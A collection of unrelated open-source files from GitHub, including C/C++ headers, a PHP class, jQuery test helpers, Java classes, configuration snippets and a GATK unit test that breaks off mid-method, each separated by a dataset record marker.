"pile_set_name": "Github"
} |
/*
* wiiuse
*
* Written By:
* Michael Laforest < para >
* Email: < thepara (--AT--) g m a i l [--DOT--] com >
*
* Copyright 2006-2007
*
* This file is part of wiiuse.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* $Header$
*
*/
/**
* @file
* @brief Handles the dynamics of the wiimote.
*
* The file includes functions that handle the dynamics
* of the wiimote. Such dynamics include orientation and
* motion sensing.
*/
#ifndef DYNAMICS_H_INCLUDED
#define DYNAMICS_H_INCLUDED
#include "wiiuse_internal.h"
#ifdef __cplusplus
extern "C" {
#endif
void calculate_orientation(struct accel_t* ac, struct vec3b_t* accel, struct orient_t* orient, int smooth);
void calculate_gforce(struct accel_t* ac, struct vec3b_t* accel, struct gforce_t* gforce);
void calc_joystick_state(struct joystick_t* js, float x, float y);
void apply_smoothing(struct accel_t* ac, struct orient_t* orient, int type);
#ifdef __cplusplus
}
#endif
#endif // DYNAMICS_H_INCLUDED
| {
"pile_set_name": "Github"
} |
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_MEMORYBUFFER_H_
#define RAPIDJSON_MEMORYBUFFER_H_
#include "rapidjson.h"
#include "internal/stack.h"
RAPIDJSON_NAMESPACE_BEGIN
//! Represents an in-memory output byte stream.
/*!
This class is mainly for being wrapped by EncodedOutputStream or AutoUTFOutputStream.
It is similar to FileWriteBuffer but the destination is an in-memory buffer instead of a file.
Differences between MemoryBuffer and StringBuffer:
1. StringBuffer has Encoding but MemoryBuffer is only a byte buffer.
2. StringBuffer::GetString() returns a null-terminated string. MemoryBuffer::GetBuffer() returns a buffer without terminator.
\tparam Allocator type for allocating memory buffer.
\note implements Stream concept
*/
template <typename Allocator = CrtAllocator>
struct GenericMemoryBuffer {
typedef char Ch; // byte
GenericMemoryBuffer(Allocator* allocator = 0, size_t capacity = kDefaultCapacity) : stack_(allocator, capacity) {}
void Put(Ch c) { *stack_.template Push<Ch>() = c; }
void Flush() {}
void Clear() { stack_.Clear(); }
void ShrinkToFit() { stack_.ShrinkToFit(); }
Ch* Push(size_t count) { return stack_.template Push<Ch>(count); }
void Pop(size_t count) { stack_.template Pop<Ch>(count); }
const Ch* GetBuffer() const {
return stack_.template Bottom<Ch>();
}
size_t GetSize() const { return stack_.GetSize(); }
static const size_t kDefaultCapacity = 256;
mutable internal::Stack<Allocator> stack_;
};
typedef GenericMemoryBuffer<> MemoryBuffer;
//! Implement specialized version of PutN() with memset() for better performance.
template<>
inline void PutN(MemoryBuffer& memoryBuffer, char c, size_t n) {
std::memset(memoryBuffer.stack_.Push<char>(n), c, n * sizeof(c));
}
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_MEMORYBUFFER_H_
| {
"pile_set_name": "Github"
} |
---
title: Crear nuevas referencias de entidad
ms.date: 03/30/2017
ms.technology: dotnet-standard
ms.assetid: a42f81b3-0403-4e34-b346-7d2129804e54
ms.openlocfilehash: 7c94d121d00c169f0d74bc9b12c8710fb6055250
ms.sourcegitcommit: 33deec3e814238fb18a49b2a7e89278e27888291
ms.translationtype: HT
ms.contentlocale: es-ES
ms.lasthandoff: 06/02/2020
ms.locfileid: "84283356"
---
# <a name="creating-new-entity-references"></a>Crear nuevas referencias de entidad
El método **CreateEntityReference** crea un nuevo nodo **XmlEntityReference**. El Modelo de objetos de documento (DOM) busca si el nombre de entidad al que se hace referencia ya se ha declarado. Si es así, los nodos secundarios del nodo **XmlEntityReference** se copian desde el nodo de declaración de entidad. Si no hay declaración de entidad equivalente, se adjunta un nodo de texto vacío como el único nodo secundario del nodo de referencia de entidad. Puesto que los nodos secundarios de **XmlEntityReference** se copian de otros nodos, son de solo lectura y no pueden modificarse.
Al copiar los nodos, puede haber un espacio de nombres en el punto de la referencia de entidad. Este espacio de nombres afecta la configuración de los elementos o nodos de atributo generados.
> [!NOTE]
> DOM agrega nodos secundarios a **EntityReference** solo cuando se inserta el nodo **EntityReference** en el documento. Los nodos **EntityReference** recién creados no tienen nodos secundarios.
Aunque **XmlDataDocument** es una clase derivada de **XmlDocument**, **XmlDataDocument** no admite la creación de referencias de entidad. Esto es debido a que los nodos secundarios de **EntityReference** son de solo lectura. Los nodos secundarios de un nodo **EntityReference** pueden abarcar más de una región. En este caso, parte de una fila asociada con la región que contiene parte de un nodo **EntityReference** será de solo lectura.
## <a name="see-also"></a>Vea también
- [Document Object Model (DOM) para XML](xml-document-object-model-dom.md)
| {
"pile_set_name": "Github"
} |
<?php
/**
* Represents a measurable length, with a string numeric magnitude
* and a unit. This object is immutable.
*/
class HTMLPurifier_Length
{
/**
* String numeric magnitude.
* @type string
*/
protected $n;
/**
* String unit. False is permitted if $n = 0.
* @type string|bool
*/
protected $unit;
/**
* Whether or not this length is valid. Null if not calculated yet.
* @type bool
*/
protected $isValid;
/**
* Array Lookup array of units recognized by CSS 2.1
* @type array
*/
protected static $allowedUnits = array(
'em' => true, 'ex' => true, 'px' => true, 'in' => true,
'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true
);
/**
* @param string $n Magnitude
* @param bool|string $u Unit
*/
public function __construct($n = '0', $u = false)
{
$this->n = (string) $n;
$this->unit = $u !== false ? (string) $u : false;
}
/**
* @param string $s Unit string, like '2em' or '3.4in'
* @return HTMLPurifier_Length
* @warning Does not perform validation.
*/
public static function make($s)
{
if ($s instanceof HTMLPurifier_Length) {
return $s;
}
$n_length = strspn($s, '1234567890.+-');
$n = substr($s, 0, $n_length);
$unit = substr($s, $n_length);
if ($unit === '') {
$unit = false;
}
return new HTMLPurifier_Length($n, $unit);
}
/**
* Validates the number and unit.
* @return bool
*/
protected function validate()
{
// Special case:
if ($this->n === '+0' || $this->n === '-0') {
$this->n = '0';
}
if ($this->n === '0' && $this->unit === false) {
return true;
}
if (!ctype_lower($this->unit)) {
$this->unit = strtolower($this->unit);
}
if (!isset(HTMLPurifier_Length::$allowedUnits[$this->unit])) {
return false;
}
// Hack:
$def = new HTMLPurifier_AttrDef_CSS_Number();
$result = $def->validate($this->n, false, false);
if ($result === false) {
return false;
}
$this->n = $result;
return true;
}
/**
* Returns string representation of number.
* @return string
*/
public function toString()
{
if (!$this->isValid()) {
return false;
}
return $this->n . $this->unit;
}
/**
* Retrieves string numeric magnitude.
* @return string
*/
public function getN()
{
return $this->n;
}
/**
* Retrieves string unit.
* @return string
*/
public function getUnit()
{
return $this->unit;
}
/**
* Returns true if this length unit is valid.
* @return bool
*/
public function isValid()
{
if ($this->isValid === null) {
$this->isValid = $this->validate();
}
return $this->isValid;
}
/**
* Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal.
* @param HTMLPurifier_Length $l
* @return int
* @warning If both values are too large or small, this calculation will
* not work properly
*/
public function compareTo($l)
{
if ($l === false) {
return false;
}
if ($l->unit !== $this->unit) {
$converter = new HTMLPurifier_UnitConverter();
$l = $converter->convert($l, $this->unit);
if ($l === false) {
return false;
}
}
return $this->n - $l->n;
}
}
// vim: et sw=4 sts=4
| {
"pile_set_name": "Github"
} |
Wheel-Version: 1.0
Generator: bdist_wheel (0.30.0)
Root-Is-Purelib: true
Tag: py2-none-any
Tag: py3-none-any
| {
"pile_set_name": "Github"
} |
This is ssd based video analysis example and it uses unified vitis-ai APIs to run on alveo platforms
### Setup
> **Note:** Skip, If you have already run the below steps.
Activate Conda Environment
```sh
conda activate vitis-ai-caffe
```
Setup the Environment
```sh
source /workspace/alveo/overlaybins/setup.sh
```
### Build
```sh
make
```
### Run
```sh
./run.sh <video path>
```
Input: mp4 video path
Output: Detection results saved as jpg images inside output folder in current path
> **Note:** Application assumes `vitis-ai-caffe` conda is already activated
| {
"pile_set_name": "Github"
} |
Filter 1: ON PK Fc 31 Hz Gain 5.4 dB Q 1.41
Filter 2: ON PK Fc 62 Hz Gain 1.6 dB Q 1.41
Filter 3: ON PK Fc 125 Hz Gain -1.0 dB Q 1.41
Filter 4: ON PK Fc 250 Hz Gain -2.0 dB Q 1.41
Filter 5: ON PK Fc 500 Hz Gain -0.3 dB Q 1.41
Filter 6: ON PK Fc 1000 Hz Gain 1.0 dB Q 1.41
Filter 7: ON PK Fc 2000 Hz Gain 4.4 dB Q 1.41
Filter 8: ON PK Fc 4000 Hz Gain -1.3 dB Q 1.41
Filter 9: ON PK Fc 8000 Hz Gain -1.6 dB Q 1.41
Filter 10: ON PK Fc 16000 Hz Gain -10.7 dB Q 1.41 | {
"pile_set_name": "Github"
} |
diff -Naur openshadinglanguage-orig/src/liboslexec/llvm_ops.cpp openshadinglanguage/src/liboslexec/llvm_ops.cpp
--- openshadinglanguage-orig/src/liboslexec/llvm_ops.cpp 2014-08-31 22:43:33.401600000 +0400
+++ openshadinglanguage/src/liboslexec/llvm_ops.cpp 2014-08-31 23:11:06.558600000 +0400
@@ -119,6 +119,12 @@
using OIIO::logbf;
using OIIO::exp2f;
#endif
+
+#ifdef __MINGW64_VERSION_MAJOR
+using OIIO::isnan;
+using OIIO::isinf;
+using OIIO::isfinite;
+#endif
#if defined(__FreeBSD__)
#include <sys/param.h>
diff -Naur openshadinglanguage-orig/src/liboslexec/shadingsys.cpp openshadinglanguage/src/liboslexec/shadingsys.cpp
--- openshadinglanguage-orig/src/liboslexec/shadingsys.cpp 2014-08-31 21:12:36.587200000 +0400
+++ openshadinglanguage/src/liboslexec/shadingsys.cpp 2014-08-31 21:31:52.245600000 +0400
@@ -47,6 +47,10 @@
#include <OpenImageIO/filesystem.h>
#include <OpenImageIO/optparser.h>
#include <OpenImageIO/fmath.h>
+
+#ifdef __MINGW64_VERSION_MAJOR
+using OIIO::isfinite;
+#endif
using namespace OSL;
using namespace OSL::pvt;
| {
"pile_set_name": "Github"
} |
'''OpenGL extension ARB.framebuffer_sRGB
This module customises the behaviour of the
OpenGL.raw.GL.ARB.framebuffer_sRGB to provide a more
Python-friendly API
Overview (from the spec)
Conventionally, OpenGL assumes framebuffer color components are stored
in a linear color space. In particular, framebuffer blending is a
linear operation.
The sRGB color space is based on typical (non-linear) monitor
characteristics expected in a dimly lit office. It has been
standardized by the International Electrotechnical Commission (IEC)
as IEC 61966-2-1. The sRGB color space roughly corresponds to 2.2
gamma correction.
This extension adds a framebuffer capability for sRGB framebuffer
update and blending. When blending is disabled but the new sRGB
updated mode is enabled (assume the framebuffer supports the
capability), high-precision linear color component values for red,
green, and blue generated by fragment coloring are encoded for sRGB
prior to being written into the framebuffer. When blending is enabled
along with the new sRGB update mode, red, green, and blue framebuffer
color components are treated as sRGB values that are converted to
linear color values, blended with the high-precision color values
generated by fragment coloring, and then the blend result is encoded
for sRGB just prior to being written into the framebuffer.
The primary motivation for this extension is that it allows OpenGL
applications to render into a framebuffer that is scanned to a monitor
configured to assume framebuffer color values are sRGB encoded.
This assumption is roughly true of most PC monitors with default
gamma correction. This allows applications to achieve faithful
color reproduction for OpenGL rendering without adjusting the
monitor's gamma correction.
The official definition of this extension is available here:
http://www.opengl.org/registry/specs/ARB/framebuffer_sRGB.txt
'''
from OpenGL import platform, constant, arrays
from OpenGL import extensions, wrapper
import ctypes
from OpenGL.raw.GL import _types, _glgets
from OpenGL.raw.GL.ARB.framebuffer_sRGB import *
from OpenGL.raw.GL.ARB.framebuffer_sRGB import _EXTENSION_NAME
def glInitFramebufferSrgbARB():
'''Return boolean indicating whether this extension is available'''
from OpenGL import extensions
return extensions.hasGLExtension( _EXTENSION_NAME )
### END AUTOGENERATED SECTION | {
"pile_set_name": "Github"
} |
{{ define "main" }}
{{ if eq .Page.File.Ext "html" }}
{{ .Content }}
{{ else }}
<h1 class="title is-size-2">{{ .Title }}</h1>
<div class="content">{{ .Content }}</div>
{{ end }}
{{ partial "feedback" . }}
{{ partial "prev-next-in-section.html" . }}
{{ end }}
{{ define "sidebar" }}
{{ partial "section-sidebar.html" . }}
{{ end }}
| {
"pile_set_name": "Github"
} |
package com.sequenceiq.periscope.common;
public class MessageCode {
public static final String UNSUPPORTED_AUTOSCALING_TYPE = "autoscale.unsupported.autoscaling.type";
public static final String UNSUPPORTED_AUTOSCALING_HOSTGROUP = "autoscale.unsupported.hostgroups";
public static final String AUTOSCALING_CONFIG_NOT_FOUND = "autoscale.config.not.found";
public static final String AUTOSCALING_CONFIG_UPDATED = "autoscale.config.updated";
public static final String AUTOSCALING_ENABLED = "autoscale.enabled";
public static final String AUTOSCALING_DISABLED = "autoscale.disabled";
public static final String AUTOSCALING_ENTITLEMENT_NOT_ENABLED = "autoscale.entitlement.not.enabled";
public static final String AUTOSCALING_ACTIVITY_NOT_REQUIRED = "autoscale.activity.not.required";
public static final String AUTOSCALING_ACTIVITY_SUCCESS = "autoscale.activity.success";
public static final String SCHEDULE_CONFIG_OVERLAPS = "autoscale.schedule.config.overlap";
public static final String CLUSTER_EXISTS_FOR_CRN = "autoscale.cluster.exists.for.crn";
public static final String VALIDATION_SINGLE_TYPE = "autoscale.validation.single.type";
public static final String VALIDATION_LOAD_SINGLE_HOST_GROUP = "autoscale.validation.load.single.hostgroup";
public static final String VALIDATION_LOAD_UNSUPPORTED_ADJUSTMENT = "autoscale.validation.load.unsupported.adjustment";
public static final String VALIDATION_LOAD_HOST_GROUP_DUPLICATE_CONFIG = "autoscale.validation.load.duplicate.config";
public static final String CLUSTER_NOT_AVAILABLE = "autoscale.cluster.not.available";
public static final String CLUSTER_UPDATE_IN_PROGRESS = "autoscale.cluster.update.in.progress";
public static final String VALIDATION_TIME_NEGATIVE_ADJUSTMENT_FOR_EXACT = "autoscale.validation.time.negative.adjustment";
public static final String NOTIFICATION_HISTORY_UPDATE = "autoscale.notification.history.update";
public static final String NOTIFICATION_AS_CONFIG_UPDATE = "autoscale.notification.config.update";
private MessageCode() { }
}
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.waveprotocol.wave.client.wavepanel.view.dom;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.BlipViewBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.CollapsibleBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.ContinuationIndicatorViewBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.ParticipantsViewBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.ReplyBoxViewBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.RootThreadViewBuilder;
import org.waveprotocol.wave.client.wavepanel.view.dom.full.TopConversationViewBuilder;
/**
* Provides access to the CSS class names for all supported view sections,
* an immutable tuple storing the custom version of each collection of classes.
*/
public final class CssProvider {
private final BlipViewBuilder.Css blipCss;
private final CollapsibleBuilder.Css collapsibleCss;
private final RootThreadViewBuilder.Css rootThreadCss;
private final ReplyBoxViewBuilder.Css replyBoxCss;
private final ContinuationIndicatorViewBuilder.Css continuationIndicatorCss;
private final TopConversationViewBuilder.Css conversationCss;
private final ParticipantsViewBuilder.Css participantCss;
/** Inject all members of the tuple, split by view section. */
public CssProvider(BlipViewBuilder.Css blipCss,
CollapsibleBuilder.Css collapsibleCss,
ContinuationIndicatorViewBuilder.Css continuationIndicatorCss,
TopConversationViewBuilder.Css conversationCss,
ParticipantsViewBuilder.Css participantCss,
ReplyBoxViewBuilder.Css replyBoxCss,
RootThreadViewBuilder.Css rootThreadCss) {
this.blipCss = blipCss;
this.collapsibleCss = collapsibleCss;
this.continuationIndicatorCss = continuationIndicatorCss;
this.conversationCss = conversationCss;
this.participantCss = participantCss;
this.replyBoxCss = replyBoxCss;
this.rootThreadCss = rootThreadCss;
}
public BlipViewBuilder.Css getBlipCss() {
return blipCss;
}
public CollapsibleBuilder.Css getCollapsibleCss() {
return collapsibleCss;
}
public ContinuationIndicatorViewBuilder.Css getContinuationIndicatorCss() {
return continuationIndicatorCss;
}
public TopConversationViewBuilder.Css getConversationCss() {
return conversationCss;
}
public ParticipantsViewBuilder.Css getParticipantsCss() {
return participantCss;
}
public ReplyBoxViewBuilder.Css getReplyBoxCss() {
return replyBoxCss;
}
public RootThreadViewBuilder.Css getRootThreadCss() {
return rootThreadCss;
}
}
| {
"pile_set_name": "Github"
} |
/*!
@file
Defines `boost::hana::second`.
@copyright Louis Dionne 2013-2016
Distributed under the Boost Software License, Version 1.0.
(See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
#ifndef BOOST_HANA_SECOND_HPP
#define BOOST_HANA_SECOND_HPP
#include <boost/hana/fwd/second.hpp>
#include <boost/hana/concept/product.hpp>
#include <boost/hana/config.hpp>
#include <boost/hana/core/dispatch.hpp>
BOOST_HANA_NAMESPACE_BEGIN
//! @cond
template <typename Pair>
constexpr decltype(auto) second_t::operator()(Pair&& pair) const {
using P = typename hana::tag_of<Pair>::type;
using Second = BOOST_HANA_DISPATCH_IF(second_impl<P>,
hana::Product<P>::value
);
#ifndef BOOST_HANA_CONFIG_DISABLE_CONCEPT_CHECKS
static_assert(hana::Product<P>::value,
"hana::second(pair) requires 'pair' to be a Product");
#endif
return Second::apply(static_cast<Pair&&>(pair));
}
//! @endcond
template <typename P, bool condition>
struct second_impl<P, when<condition>> : default_ {
template <typename ...Args>
static constexpr auto apply(Args&& ...) = delete;
};
BOOST_HANA_NAMESPACE_END
#endif // !BOOST_HANA_SECOND_HPP
| {
"pile_set_name": "Github"
} |
/* eslint no-multi-str: "off" */
var baseURL = "",
supportjQuery = this.jQuery,
// see RFC 2606
externalHost = "example.com";
this.hasPHP = true;
this.isLocal = window.location.protocol === "file:";
// Setup global variables before loading jQuery for testing .noConflict()
supportjQuery.noConflict( true );
window.originaljQuery = this.jQuery = undefined;
window.original$ = this.$ = "replaced";
/**
* Returns an array of elements with the given IDs
* @example q( "main", "foo", "bar" )
* @result [<div id="main">, <span id="foo">, <input id="bar">]
*/
this.q = function() {
var r = [],
i = 0;
for ( ; i < arguments.length; i++ ) {
r.push( document.getElementById( arguments[ i ] ) );
}
return r;
};
/**
* Asserts that a select matches the given IDs
* @param {String} message - Assertion name
* @param {String} selector - Sizzle selector
* @param {String} expectedIds - Array of ids to construct what is expected
* @param {(String|Node)=document} context - Selector context
* @example match("Check for something", "p", ["foo", "bar"]);
*/
function match( message, selector, expectedIds, context ) {
var f = jQuery( selector, context ).get(),
s = "",
i = 0;
for ( ; i < f.length; i++ ) {
s += ( s && "," ) + "\"" + f[ i ].id + "\"";
}
this.deepEqual( f, q.apply( q, expectedIds ), message + " (" + selector + ")" );
}
/**
* Asserts that a select matches the given IDs.
* The select is not bound by a context.
* @param {String} message - Assertion name
* @param {String} selector - Sizzle selector
* @param {String} expectedIds - Array of ids to construct what is expected
* @example t("Check for something", "p", ["foo", "bar"]);
*/
QUnit.assert.t = function( message, selector, expectedIds ) {
match( message, selector, expectedIds, undefined );
};
/**
* Asserts that a select matches the given IDs.
* The select is performed within the `#qunit-fixture` context.
* @param {String} message - Assertion name
* @param {String} selector - Sizzle selector
* @param {String} expectedIds - Array of ids to construct what is expected
* @example selectInFixture("Check for something", "p", ["foo", "bar"]);
*/
QUnit.assert.selectInFixture = function( message, selector, expectedIds ) {
match( message, selector, expectedIds, "#qunit-fixture" );
};
this.createDashboardXML = function() {
var string = "<?xml version='1.0' encoding='UTF-8'?> \
<dashboard> \
<locations class='foo'> \
<location for='bar' checked='different'> \
<infowindowtab normal='ab' mixedCase='yes'> \
<tab title='Location'><![CDATA[blabla]]></tab> \
<tab title='Users'><![CDATA[blublu]]></tab> \
</infowindowtab> \
</location> \
</locations> \
</dashboard>";
return jQuery.parseXML( string );
};
this.createWithFriesXML = function() {
var string = "<?xml version='1.0' encoding='UTF-8'?> \
<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' \
xmlns:xsd='http://www.w3.org/2001/XMLSchema' \
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> \
<soap:Body> \
<jsconf xmlns='http://{{ externalHost }}/ns1'> \
<response xmlns:ab='http://{{ externalHost }}/ns2'> \
<meta> \
<component id='seite1' class='component'> \
<properties xmlns:cd='http://{{ externalHost }}/ns3'> \
<property name='prop1'> \
<thing /> \
<value>1</value> \
</property> \
<property name='prop2'> \
<thing att='something' /> \
</property> \
<foo_bar>foo</foo_bar> \
</properties> \
</component> \
</meta> \
</response> \
</jsconf> \
</soap:Body> \
</soap:Envelope>";
return jQuery.parseXML( string.replace( /\{\{\s*externalHost\s*\}\}/g, externalHost ) );
};
this.createXMLFragment = function() {
var xml, frag;
if ( window.ActiveXObject ) {
xml = new window.ActiveXObject( "msxml2.domdocument" );
} else {
xml = document.implementation.createDocument( "", "", null );
}
if ( xml ) {
frag = xml.createElement( "data" );
}
return frag;
};
window.fireNative = document.createEvent ?
function( node, type ) {
var event = document.createEvent( "HTMLEvents" );
event.initEvent( type, true, true );
node.dispatchEvent( event );
} :
function( node, type ) {
node.fireEvent( "on" + type, document.createEventObject() );
};
/**
* Add random number to url to stop caching
*
* @example url("data/test.html")
* @result "data/test.html?10538358428943"
*
* @example url("data/test.php?foo=bar")
* @result "data/test.php?foo=bar&10538358345554"
*/
function url( value ) {
return baseURL + value + ( /\?/.test( value ) ? "&" : "?" ) +
new Date().getTime() + "" + parseInt( Math.random() * 100000, 10 );
}
// Ajax testing helper
this.ajaxTest = function( title, expect, options ) {
QUnit.test( title, expect, function( assert ) {
var requestOptions;
if ( jQuery.isFunction( options ) ) {
options = options( assert );
}
options = options || [];
requestOptions = options.requests || options.request || options;
if ( !Array.isArray( requestOptions ) ) {
requestOptions = [ requestOptions ];
}
var done = assert.async();
if ( options.setup ) {
options.setup();
}
var completed = false,
remaining = requestOptions.length,
complete = function() {
if ( !completed && --remaining === 0 ) {
completed = true;
delete ajaxTest.abort;
if ( options.teardown ) {
options.teardown();
}
// Make sure all events will be called before done()
setTimeout( done );
}
},
requests = jQuery.map( requestOptions, function( options ) {
var request = ( options.create || jQuery.ajax )( options ),
callIfDefined = function( deferType, optionType ) {
var handler = options[ deferType ] || !!options[ optionType ];
return function( _, status ) {
if ( !completed ) {
if ( !handler ) {
assert.ok( false, "unexpected " + status );
} else if ( jQuery.isFunction( handler ) ) {
handler.apply( this, arguments );
}
}
};
};
if ( options.afterSend ) {
options.afterSend( request, assert );
}
return request
.done( callIfDefined( "done", "success" ) )
.fail( callIfDefined( "fail", "error" ) )
.always( complete );
} );
ajaxTest.abort = function( reason ) {
if ( !completed ) {
completed = true;
delete ajaxTest.abort;
assert.ok( false, "aborted " + reason );
jQuery.each( requests, function( i, request ) {
request.abort();
} );
}
};
} );
};
this.testIframe = function( title, fileName, func ) {
QUnit.test( title, function( assert ) {
var iframe;
var done = assert.async();
window.iframeCallback = function() {
var args = Array.prototype.slice.call( arguments );
args.unshift( assert );
setTimeout( function() {
this.iframeCallback = undefined;
func.apply( this, args );
func = function() {};
iframe.remove();
done();
} );
};
iframe = jQuery( "<div/>" ).css( { position: "absolute", width: "500px", left: "-600px" } )
.append( jQuery( "<iframe/>" ).attr( "src", url( "./data/" + fileName ) ) )
.appendTo( "#qunit-fixture" );
} );
};
this.iframeCallback = undefined;
// Tests are always loaded async
QUnit.config.autostart = false;
this.loadTests = function() {
// Leverage QUnit URL parsing to detect testSwarm environment and "basic" testing mode
QUnit.isSwarm = ( QUnit.urlParams.swarmURL + "" ).indexOf( "http" ) === 0;
QUnit.basicTests = ( QUnit.urlParams.module + "" ) === "basic";
// Get testSubproject from testrunner first
require( [ "data/testrunner.js" ], function() {
var i = 0,
tests = [
// A special module with basic tests, meant for
// not fully supported environments like Android 2.3,
// jsdom or PhantomJS. We run it everywhere, though,
// to make sure tests are not broken.
"unit/basic.js",
"unit/core.js",
"unit/callbacks.js",
"unit/deferred.js",
"unit/deprecated.js",
"unit/support.js",
"unit/data.js",
"unit/queue.js",
"unit/attributes.js",
"unit/event.js",
"unit/selector.js",
"unit/traversing.js",
"unit/manipulation.js",
"unit/wrap.js",
"unit/css.js",
"unit/serialize.js",
"unit/ajax.js",
"unit/effects.js",
"unit/offset.js",
"unit/dimensions.js",
"unit/animation.js",
"unit/tween.js"
];
// Ensure load order (to preserve test numbers)
( function loadDep() {
var dep = tests[ i++ ];
if ( dep ) {
if ( !QUnit.basicTests || i === 1 ) {
require( [ dep ], loadDep );
// Support: Android 2.3 only
// When running basic tests, replace other modules with dummies to avoid overloading
// impaired clients.
} else {
QUnit.module( dep.replace( /^.*\/|\.js$/g, "" ) );
loadDep();
}
} else {
QUnit.load();
/**
* Run in noConflict mode
*/
jQuery.noConflict();
// Load the TestSwarm listener if swarmURL is in the address.
if ( QUnit.isSwarm ) {
require( [ "http://swarm.jquery.org/js/inject.js?" + ( new Date() ).getTime() ],
function() {
QUnit.start();
} );
} else {
QUnit.start();
}
}
} )();
} );
};
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 080d1dce1c76e154c9c8f50151e6d69e
timeCreated: 1531473796
licenseType: Free
MonoImporter:
externalObjects: {}
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2012-2016 Broad Institute, Inc.
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
* THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package org.broadinstitute.gatk.utils.commandline;
import org.apache.log4j.Level;
import org.apache.log4j.Logger;
import org.apache.log4j.PatternLayout;
import org.apache.commons.lang.StringUtils;
import org.broadinstitute.gatk.utils.exceptions.ReviewedGATKException;
import org.testng.Assert;
import org.testng.annotations.Test;
public class ListAppenderUnitTest {
private final static int EVENTS_TO_KEEP = 10;
private final static int EVENTS = 200;
private final static String MSG_TO_LOG = ": All work and no play makes Jack a dull boy.";
private final static String MSG_TOO_LONG = ": Don't write this one.";
private final static Logger LOGGER = Logger.getLogger(ListAppenderUnitTest.class);
@Test
public void testListAppender() {
LOGGER.removeAllAppenders();
final ListAppender listAppender = new ListAppender(new PatternLayout(PatternLayout.DEFAULT_CONVERSION_PATTERN), EVENTS_TO_KEEP, Level.WARN);
LOGGER.addAppender(listAppender);
for ( int i = 0; i < EVENTS; i++ ) {
LOGGER.warn(i + MSG_TO_LOG);
LOGGER.info(i + MSG_TOO_LONG);
}
final String listAppenderString = listAppender.toString();
listAppender.write();
Assert.assertEquals(StringUtils.countMatches(listAppenderString, MSG_TO_LOG), EVENTS_TO_KEEP);
Assert.assertFalse(listAppenderString.contains(MSG_TOO_LONG));
Assert.assertTrue(listAppenderString.contains(Integer.toString(EVENTS_TO_KEEP)));
Assert.assertTrue(listAppenderString.contains(listAppender.logLevelToKeep.toString()));
Assert.assertEquals(listAppender.numLoggingEvents, EVENTS);
}
@Test
public void testListAppenderNoWarnMsgs() {
LOGGER.removeAllAppenders();
final ListAppender listAppender = new ListAppender(new PatternLayout(PatternLayout.DEFAULT_CONVERSION_PATTERN), EVENTS_TO_KEEP, Level.WARN);
LOGGER.addAppender(listAppender);
for ( int i = 0; i < EVENTS; i++ ) {
LOGGER.info(i + MSG_TOO_LONG);
}
final String listAppenderString = listAppender.toString();
Assert.assertEquals(StringUtils.countMatches(listAppenderString, MSG_TO_LOG), 0);
Assert.assertFalse(listAppenderString.contains(MSG_TOO_LONG));
Assert.assertFalse(listAppenderString.contains(Integer.toString(EVENTS_TO_KEEP)));
Assert.assertTrue(listAppenderString.contains(listAppender.logLevelToKeep.toString().toLowerCase()));
Assert.assertEquals(listAppender.numLoggingEvents, 0);
}
@Test(expectedExceptions = ReviewedGATKException.class)
public void testListAppenderMissingLayout() {
LOGGER.removeAllAppenders();
